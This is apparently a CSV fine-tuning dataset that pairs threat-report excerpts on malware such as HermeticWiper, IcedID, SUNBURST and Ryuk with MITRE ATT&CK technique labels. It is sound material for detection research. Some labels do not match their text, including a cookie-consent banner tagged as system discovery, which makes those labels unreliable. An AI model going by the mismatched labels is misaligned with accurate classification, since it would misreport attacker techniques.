input,output,tags
"The command processing function starts by substituting the main module name and path in the hosting process PEB, with the one of the default internet browser. The path of the main browser of the workstation is obtained by reading the registry value",['T1057 - Process Discovery'],fine_tune
"Along the way, HermeticWiper’s more mundane operations provide us with further IOCs to monitor for. These include the momentary creation of the abused driver as well as a system service. It also modifies several registry keys, including setting the SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver’s execution starts",['T1569.002 - System Services: Service Execution'],fine_tune
These Microsoft Office templates are hosted on a command and control server and the downloaded link is embedded in the first stage malicious document,['T1584.004 - Server'],fine_tune
"Additionally, the IP 211[.]72 [.]242[.]120 is one of the hosts for the domain microsoftmse[.]com, which has been used by several KIVARS variants","['T1056.001 - Input Capture: Keylogging', 'T1113 - Screen Capture']",fine_tune
"When communicating with its C2 server, Psylo will use HTTPS with a unique user-agent of (notice the lack of a space between ""5.0"" and ""(Windows",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"In older versions, Valak downloads the second stage JS and uses only one obfuscation technique: Base64. The newer versions use XOR in addition to Base64",['T1027 - Obfuscated Files or Information'],fine_tune
"We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS","['T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product - DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin - DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory - data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture - config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&amp;C) address","['T1027 - Obfuscated Files or Information', 'T1082 - System Information Discovery']",fine_tune
"The malware has specific features that allow the attackers to perform operations related to online banking transactions, password stealing and clipboard monitoring. We also found various versions of the payload: the version focused on stealing data from victims in Brazil is typically unpacked, while the versions targeting banks in Chile and Mexico are packed with VMProtect or Themida",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The size of the image is more than 600KB and embedded in it is the encrypted IcedID main module. The encryption algorithm is RC4 and the keys are also embedded in the image at specific offset,['T1027.003 - Steganography'],fine_tune
"It is worth noting that in 2019, this actor used a fake file extension (*.png) for the MSI binary hosted on the attacker-controlled GitHub account",['T1583.006 - Web Services'],fine_tune
"These variants include system information collection (operating system, computer name), keylogger output, and browser password collection from Internet Explorer, Chrome and Firefox",['T1082 - System Information Discovery'],fine_tune
"While Kimsuky is very active, the KONNI RAT has also been upgraded to a more evasive piece of malware",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
But first: How did they get the tools on the victim’s systems. The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools,['T1570 - Lateral Tool Transfer'],fine_tune
"This will also force the victim to re-open the browser using the newly written .lnk file, which is now loaded with Grandoreiro’s malicious extension. This extension will load on every browser startup using this specific .lnk file","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",fine_tune
"Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. Although concrete details of the attacks are not yet public, Google made reference to a number of Gmail accounts that were compromised during or after the attacks. Anatomy of the Attack For a number of years targeted attacks have nearly always followed the same modus operandi. In the more sophisticated attacks, the attacker will use a new zero day vulnerability, as obviously this will have a greater success rate. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The number of computers we have observed being attacked or have been attacked is low as borne out by our field detection statistics. Prevention &amp; Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites",['T1005 - Data from Local System'],fine_tune
"dbghelp.dll is incompatible with DEP (Data Exception Prevention), as shown in Figure 14. Thus, when it loads the operating system will disable DEP for the injected wmplayer.exe process. This means that code can be executed from memory regions that are not marked as executable in the context of this process",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"For each enumeration, it performs a breadth-first search to wipe the files in the logical drive while ignoring files located in the ""%HOMEDRIVE%\Windows"" directory. It also only wipes files that have specific file extensions",['T1083 - File and Directory Discovery'],fine_tune
It is distributed as a set of scripts and encrypted files and utilizes a PowerShell loader based on the Invoke-ReflectivePEInjection PowerSploit module to decode and inject the final payload DLL into memory,"['T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1027 - Obfuscated Files or Information']",fine_tune
"Registry traversal for Putty data exfiltration (left), code showing hostname, username and Private Key Files (right",['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
"While PotPlayerDB.dat is a variant of PlugX malware, TA416 has updated the payload by changing both its encoding method and expanding the payload’s configuration capabilities. Historically, TA416 relied on the DLL launcher to decode the PlugX payload utilizing an XOR key included at the offset 0 within the PlugX DAT configuration file. One of the main ways it does this is by resolving API functions during runtime. This iteration of PlugX does standard API hashing, but only to resolve the address of the functions GetProcAddress as well as LoadLibrary. Once those functions are resolved properly, it loads the rest of the functions via their text name",['T1106 - Native API'],fine_tune
"After Tor is up and running, Siloscape uses it to connect to its C2 – an IRC server, using an onion address that was provided as a command line argument",['T1071 - Application Layer Protocol'],fine_tune
One interesting thing to note is that the Keybase account used by the attacker to chat with their victims has the same logo of the Pay2Key EOSIO smart contract system,['T1585 - Establish Accounts'],fine_tune
It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents. It has a long list of file extensions that it tries to overwrite and delete. The complete list contains more than 4000 file extensions,['T1485 - Data Destruction'],fine_tune
"The LNK file contains a list of commands that will be executed upon running, and a blob that is a base64 encoded compressed payload",['T1027 - Obfuscated Files or Information'],fine_tune
"Fourth, this Darkhotel event is not based on the network protocol C2, but based on a custom file transfer control instruction",['T1135 - Network Share Discovery'],fine_tune
"When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it. The resulting code has multiple layers of obfuscation","['T1047 - Windows Management Instrumentation', 'T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1559.001 - Component Object Model', 'T1027 - Obfuscated Files or Information']",fine_tune
"The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols. Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files. They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases. Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g. username&gt;@&lt;email domain&gt;. While usernames for legitimate logins at the victim’s network were generally formatted like &lt;domain&gt;\&lt;username&gt;. And attempted logins came from a relative small set of IP-addresses","['T1016 - System Network Configuration Discovery', 'T1133 - External Remote Services']",fine_tune
"CookieMiner reports all the wallet-related file paths to its remote server so it can later upload the files according to the C2 commands. These files usually include private keys of cryptocurrency wallets. If the victims use iTunes to backup files from iPhone to Mac (can be via Wi-Fi), their iPhone text messages (SMSFILE) will also be retrieved by the attackers (Figure 5",['T1083 - File and Directory Discovery'],fine_tune
"The JavaScript component is the first stage of the attack and can deploy other malware such as a C# spy component, Golden Chickens components or several Python-based tools. The name Evilnum was given to the C# component by other researchers in the past, but the JS component also has been referred to as Evilnum. We have named the group Evilnum as that is the name of their flagship malware, and we’ll refer to the various malware pieces as components",['T1105 - Ingress Tool Transfer'],fine_tune
"But Ryuk isn’t new to us… we’ve been tracking it for years. More important than just looking at Ryuk ransomware itself, though, is looking at the operators behind it and their tactics, techniques, and procedures (TTPs)—especially those used before they encrypt any data. The operators of Ryuk ransomware are known by different names in the community, including “WIZARD SPIDER,” “UNC1878,” and “Team9. The malware they use has included TrickBot, Anchor, Bazar, Ryuk, and others","['T1047 - Windows Management Instrumentation', 'T1018 - Remote System Discovery']",fine_tune
"The plugin is executed by using the Info command in the Lizar client application. A data structure containing the OS version, user name and computer name is sent to the server",['T1082 - System Information Discovery'],fine_tune
"Observed GoldMax C2 domains are high-reputation and high-prevalence, often acquired from domain resellers so that Whois records retain the creation date from their previous registration, or domains that may have been compromised. This tactic complements NOBELIUM’s operational security strategy as these domains are more likely to be overlooked by security products and analysts based on their perceived long-lived domain ownership. Put simply, several domains we have shared as GoldMax C2 domains are only associated with NOBELIUM after the time they were re-sold or compromised – and Microsoft has provided that indicator context where it is available to us",['T1584.001 - Domains'],fine_tune
The malware proceeds to blacklist certain processes such as “wininit.exe” when approaches memory scraping in order to speed necessary card scan logic,['T1057 - Process Discovery'],fine_tune
"We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others",['T1083 - File and Directory Discovery'],fine_tune
"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. Strangely, in one case, the threat actors also appear to have used a domain name similar to the Foreign Policy Research Institute (FPRI) in a message purporting to be from CFR. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory. The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN. Conclusion . The addition of US-based think tanks to the list of organizations in the crosshairs of Patchwork shows an increasing diversity in the geographic regions being targeted. Volexity is actively tracking this group and the infrastructure currently in use for the benefit of its network security monitoring and threat intelligence customers",['T1189 - Drive-by Compromise'],fine_tune
"Apply the Microsoft security updates for MS17-010, including the updates for the Windows XP and Windows Server 2003 legacy operating systems. Disable SMBv1 on systems where it is not necessary (e.g. hosts that do not need to communicate with Windows XP and Windows 2000 systems). Carefully evaluate the need for allowing SMBv1-capable systems on interconnected networks compared to the associated risks. Scan networks for the presence of the DoublePulsar backdoor using plugins for tools such as Nmap. Use network auditing tools to scan networks for hosts that are vulnerable to the vulnerabilities described in MS17-010. Implement a backup strategy that includes storing data using offline backup media. Backups to locally connected, network-attached, or cloud-based storage are often insufficient because ransomware frequently accesses and encrypts files stored on these systems",['T1490 - Inhibit System Recovery'],fine_tune
"SUPERNOVA is implemented as a modification to the existing ‘app_web_logoimagehandler.ashx.b6031896.dll’ module of the SolarWinds Orion application. The purpose of this module, in it’s legitimate form, is to return the logo image configured by the user to various web pages of the SolarWinds Orion web application. In legitimate operation, this class only contains the ProcessRequest() and LogoImageHandler() methods, a private static Log object, and public boolean parameter IsReusable",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"AgentTesla is a .Net-based infostealer that has the capability to steal data from different applications on victim machines, such as browsers, FTP clients, and file downloaders. One of the new modules that has been added to this malware is the capability to steal WiFi profiles",['T1555 - Credentials from Password Stores'],fine_tune
"TA551 has distributed different families of malware, including Ursnif (Gozi/ISFB), Valak and IcedID. TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip. In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names. These password-protected ZIP attachments contain a Word document with macros to install malware. File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed. URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed",['T1204.002 - User Execution: Malicious File'],fine_tune
"The plugins are variously designed to load other tools like Mimikatz or Carbanak, retrieve information from the victim machine, take screenshots, harvest credentials, retrieve browser histories, and more",['T1217 - Browser Bookmark Discovery'],fine_tune
"During our analysis, we successfully extracted the command line argument to execute its payload. The following command is used to execute the payload",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"When receiving HTTP commands, the WellMess server is setup to receive POST requests that contain RC6 encrypted cookies. The server decrypts the cookies using a hardcoded RC6 key and expects the decrypted data to contain no more than four tags","['T1140 - Deobfuscate/Decode Files or Information', 'T1573.001 - Symmetric Cryptography']",fine_tune
"Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. The attacks have become more sophisticated, and have evolved to evade detection on a continual basis. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. Simple campaigns typically use a single technique and often embed the final executable payload into the exploit document. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. TEARDROP and BEACON Malware Used . Multiple SUNBURST samples have been recovered, delivering different payloads. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. The credentials used for lateral movement were always different from those used for remote access. Detection Opportunity . Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services. The userID is encoded via a custom XOR scheme after the MD5 is calculated. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: ""\{[0-9a-f-]{36}\}""||""[0-9a-f]{32}""||""[0-9a-f]{16}"". Command data is spread across multiple strings that are disguised as GUID and HEX strings. The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed",['T1027 - Obfuscated Files or Information'],fine_tune
"IcedID uses TLS in all of its communication but the certificate is self-signed. They can be spotted, as they use this kind of a self-signed certificate. The keyword “Internet Widgits Pty Ltd” is also being used by Trickbot, another banking malware, and it is believed that Trickbot and IcedID are cousins","['T1573.002 - Asymmetric Cryptography', 'T1185 - Browser Session Hijacking']",fine_tune
"In December 2019, another version of the AppleJeus malware was identified on Twitter by a cybersecurity company based on many similarities to the original AppleJeus malware. In contrast, open-source reporting stated that the Windows version might have been downloaded via instant messaging service Telegram, as it was found in a “Telegram Downloads” folder on an unnamed victim",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
PowerSploit can be used as a tool for the discovery of stored credentials. Specifically it supports the following modules which will check for credentials encrypted or plain-text in various files and in the registry,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
"MegaCortex v1 was executed manually by threat actors using a separate batch file to kill security processes and stop/disable services related to security, backup and shadow copies. That same batch file was subsequently used to execute the MegaCortex binary with a Base64 key as a command-line argument","['T1489 - Service Stop', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",fine_tune
"Capable of stealing documents sent to the printer queue. Data gathered for victim recon includes the backup list for Apple mobile devices. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies",['T1005 - Data from Local System'],fine_tune
"First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target. It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload. At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe. Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note",['T1561.002 - Disk Structure Wipe'],fine_tune
"The second family of Lazarus malware appearing in recent months has, as far as we are aware, received little to no analysis from researchers, possibly due to its targeted nature and a lack of ITW sightings",['T1105 - Ingress Tool Transfer'],fine_tune
"These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information",['T1082 - System Information Discovery'],fine_tune
"Of the tools listed above, many were obfuscated with VMProtect (v1.60-2.05), a recurring theme with BackdoorDiplomacy tools",['T1027 - Obfuscated Files or Information'],fine_tune
"An uptick in activity from GRIM SPIDER, a subgroup of the criminal enterprise CrowdStrike Intelligence tracks as WIZARD SPIDER, has led to the identification of consistent actions employed to carry out their attacks. As part of their initial compromise — usually as a download from a spam email — they gain a foothold with their modular TrickBot malware, which was developed and is principally operated by WIZARD SPIDER. Once TrickBot is executed, new enumeration modules are downloaded onto the compromised machine to facilitate WIZARD SPIDER’s spread in search of credentials with the aim of gaining access to the domain controller. The criminal actors use RDP to perform lateral movement and explore the victim environment, with an end result of gaining access to the domain controller. Once this access has been achieved, GRIM SPIDER is able to deploy the Ryuk ransomware to the entire network","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1204.002 - User Execution: Malicious File', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. The C&amp;C scans for specific destinations’ known vulnerabilities in Hadoop, Redis and ActiveMQ (CVE-2016-3088) for self-propagation. Hadoop’s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&amp;C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&amp;C server, delete all the databases, and display the ransom message",['T1203 - Exploitation for Client Execution'],fine_tune
"As can be seen in the figure above, the packer used for CVE-2019-0803 is very similar to the one used in CVE-2017-0005. The file was compiled on September 18, 2018, and is also internally named “Add.dll”. Like the previously packed exploit, CVE-2019-0803 also has an export function named “AddByGod” and contains debug information",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Although, the use of target names with actuating themes is not new to this group, there has been a significant uptick in the number of emails received and this campaign has been persistently active for the past few weeks",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"This function is the supporting functionality for WinVNC. To allow the VNC session to connect, the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001",['T1021.005 - Remote Services:VNC'],fine_tune
"We also analyzed further Gamaredon tools that have the ability to inject malicious macros and remote templates into existing Office documents. Tools linked to Gamaredon and discussed in this blogpost are detected as variants of MSIL/Pterodo, Win32/Pterodo or Win64/Pterodo by ESET’s products. Contrary to other APT groups, the Gamaredon group seems to make no effort in trying to stay under the radar. It also saves to disk the malicious OTM file (Outlook VBA project) that contains a macro, the malicious email attachment and, in some cases, a list of recipients that the emails should be sent to. Office macro injection module – CodeBuilder . We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. Module updates . Interestingly, some of the custom tools described in Palo Alto Networks’ 2017 blogpost on Gamaredon are still being updated and in use today. C# compiler module . This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Conclusion . Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"b.wnry — Bitmap image used as desktop wallpaper (shown in Figure 2) - c.wnry — Configuration containing Tor command and control (C2) addresses, Bitcoin addresses, and other data - r.wnry — Ransom demand text - s.wnry — ZIP archive containing Tor software to be installed on the victim’s system; saved in TaskData directory - t.wnry — Encrypted DLL containing file-encryption functionality - u.wnry — Main module of the WCry ransomware “decryptor” - taskdl.exe — WNCRYT temporary file cleanup program - taskse.exe — Program that displays decryptor window to RDP sessions - msg — Directory containing Rich Text Format (RTF) ransom demands in multiple languages",['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
CISA also observed the threat actor using open-source tools such as Plink and TightVNC for lateral movement. CISA observed the threat actor using the techniques identified in table 8 for lateral movement within the victim environment,"['T1090 - Proxy', 'T1021.004 - Remote Services: SSH', 'T1572 - Protocol Tunneling']",fine_tune
"In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor",['T1204.002 - User Execution: Malicious File'],fine_tune
"After the ransomware is executed, Clop appends the .clop extension to the victim's files. We have observed different variants using different extensions, such as “.CIIp”, “.Cllp” and “.C_L_O_P”. Different versions of the ransom note have also been observed after encryption. Depending on the variant, any of these ransom text files could drop: “ClopReadMe.txt”, “README_README.txt”, “Cl0pReadMe.txt“ and “READ_ME_!!!.TXT",['T1486 - Data Encrypted for Impact'],fine_tune
H1N1 has self-propagation/lateral movement functionality (which requires user interaction) via mapped/available network shares or mounted USB devices,['T1080 - Taint Shared Content'],fine_tune
"Another component of the KGH suite is the m.dll module, which is an information stealer that harvest data from browsers, Windows Credential Manager, WINSCP and mail clients",['T1114.001 - Email Collection: Local Email Collection'],fine_tune
"Before the driver is loaded, the malware disables crash dump by setting the following registry key","['T1070 - Indicator Removal on Host', 'T1562.006 - Impair Defenses: Indicator Blocking', 'T1112 - Modify Registry']",fine_tune
"Conclusion Tick has left a trail of evidence indicating that its activity began as early as 2006. In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector",['T1204.002 - User Execution: Malicious File'],fine_tune
Gathering system information and sending it to the control server. The system information gathered from the endpoint includes: MAC address of the endpoint Computer Name Product name from HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName This information is concatenated into a single string in the format: “MAC_Address||ComputerName||ProductName” and is sent to the control server - MAC address of the endpoint - Computer Name - Product name from HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName - This information is concatenated into a single string in the format: “MAC_Address||ComputerName||ProductName” and is sent to the control server - Recording HTTP requests from the control server to the temporary file prx in the implant’s install directory with the current system timestamp,['T1012 - Query Registry'],fine_tune
"Credential hopping for obscuring lateral movement - Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation - Stealing browser cookies for bypassing multifactor authentication - Use of the TrailBlazer implant and the Linux variant of GoldMax malware - Credential theft using Get-ADReplAccount","['T1078.002 - Domain Accounts', 'T1550.001 - Application Access Token']",fine_tune
"In the analyzed sample the RAT component was named “BotDLL[.]dll”. It has some typical RAT functionality such as command shell, video recording of the screen, remote desktop, port forwarding, and file system access","['T1125 - Video Capture', 'T1090 - Proxy', 'T1005 - Data from Local System']",fine_tune
"This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. It is capable of downloading and executing files, capturing screenshots and executing arbitrary commands on compromised systems",['T1113 - Screen Capture'],fine_tune
"Introduced in macOS 10.11, this utility has only one publicly documented use, which is to return the status of the System Integrity Protection tool. The csrutil tool is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not",['T1082 - System Information Discovery'],fine_tune
"Shortly after this RTF document is opened, the remaining stages of the Inception malware are found executing on the system. The loader DLL is responsible for decrypting and injecting the core payload DLL into memory, from an encrypted file present on disk. The core payload DLL's main function is to gather system information, execute other malware in the form of plugins, and update itself",['T1204.002 - User Execution: Malicious File'],fine_tune
"The NOKKI malware itself has been updated in the short period of time it has been observed, moving from FTP to HTTP for C2 operations. The malware is modular in nature, and based on analysis of the information gathering module, it is highly likely the NOKKI operators are the same as the KONNI operators","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1071.002 - File Transfer Protocols']",fine_tune
"The network mode being set to the host along with the container trying to be deployed as a privileged container. The Docker Hub account of MegawebMaster has numerous public images, five of which have TeamTNT utilities with a significant amount of downloads. These five images include dockgeddon, docker, tornadopw, and dcounter (T1204.003",['T1496 - Resource Hijacking'],fine_tune
TeamTNT has also been spotted using a malicious Docker image which can be found on Docker Hub to infect its victims’ servers,"['T1610 - Deploy a container', 'T1071.001 - Application Layer Protocol: Web Protocols']",fine_tune
"Even simple API calls were obfuscated, and instead of just calling the functions, Siloscape made the effort to use the Native API (NTAPI) version of the same function","['T1106 - Native API', 'T1027 - Obfuscated Files or Information']",fine_tune
The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes the following command in a new process to add persistence,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"In this version, the communication protocol with the C&amp;C server was also upgraded to use AES encryption",['T1573.001 - Symmetric Cryptography'],fine_tune
"The domain name is generated based on the current month and year values, e.g. for August 2017 the domain name used would be “nylalobghyhirgh.com",['T1568.002 - Domain Generation Algorithms'],fine_tune
"HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
The attackers then attempt to gain root access to the server by setting up a local privileged user named ‘hilde’ on the host server and use it in order to connect back via SSH,['T1021.004 - Remote Services: SSH'],fine_tune
"The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent months, Symantec’s Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country","['T1057 - Process Discovery', 'T1204.002 - User Execution: Malicious File']",fine_tune
"After the malware has invoked a method named _s_is_high_time and waited on several timers to expire, it begins encrypting the (unfortunate) user’s files, by invoking a function named carve_target. It then generates a list of files to encrypt, by invoking the get_targets function, passing in the is_file_target as a filter function. This filter function filters out all files, except those that match certain file extensions. The encrypted list of extensions is hard-coded at address 000000010001299E within the malware. In part one of this blog post series, we decrypted all the embedded string, thus can readily examine the decrypted list",['T1486 - Data Encrypted for Impact'],fine_tune
"Timeline . OSX/FruitFly: 1) 2) Remove the malicious launch agent plist file ~/Library/LaunchAgents/com.client.client.plist 3) Remove the malware's persistent perl script &amp; file. Ok, so the attackers are using an open-source multi-stage post-exploitation agent. Unfortunately this file is now inaccessible. The author of the thread announced a RAT dubbed Proton, intended for installation exclusively on MAC OS devices. Finally, the malware modifies the infected host's network settings in order to set up a proxy who's address is (dynamically) specified via a remote proxy auto-configuration (PAC) file. As it's a binary plist file, dump its contents with the plutil utility (using the -p commandline flag): . As the KeepAlive key has been set to 1 (true), the Launch Daemon will be automatically started everytime the infected system is rebooted. MacRansom is the the first 'Ransomware-as-a-Service' for macOS, that aims to encrypt (ransom) all user's files. Then these files will be passed (to a new instance) of the malware, in order to be encrypted. Thus it appears that once encrypted, the files are pretty much gone for good (save for a perhaps a brute force decryption attack). Good news, RansomWhere. Using the neat 'Suspicious Package' application, we can statically examine this script: In short, it persists CPUMeaner as a launch agent via the /Library/LaunchAgents/com.osxext.cpucooler.plist file",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon",['T1012 - Query Registry'],fine_tune
"This attack begins with a spear phishing attack through a targeted email campaign. Over 80 files were sent to 40 email accounts within the organization, within the span of about an hour. The email contains Microsoft Excel attachments with malicious macros",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"The original Microsoft Excel spreadsheet is copied into the %TEMP% directory - The embedded object “xl\embeddings\oleObject1[.]bin” inside the Microsoft Excel spreadsheet is copied into the %TEMP% directory - The DLL inside oleObject1.bin is extracted and copied into %APPDATA% by the “ReadAndWriteExtractedBinFile” function - The DLL is loaded with LoadLibraryA - The DLL’s exported function, such as “Get2”, is run by the macro",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Please note that the Ecipekac Layer III loader module is embedded in the encrypted Layer II loader,['T1027 - Obfuscated Files or Information'],fine_tune
"This feature generates a stageless Beacon payload artifact, hosts it on Cobalt Strike’s web server, and presents a one-liner to download and run the artifact",['T1197 - BITS Jobs'],fine_tune
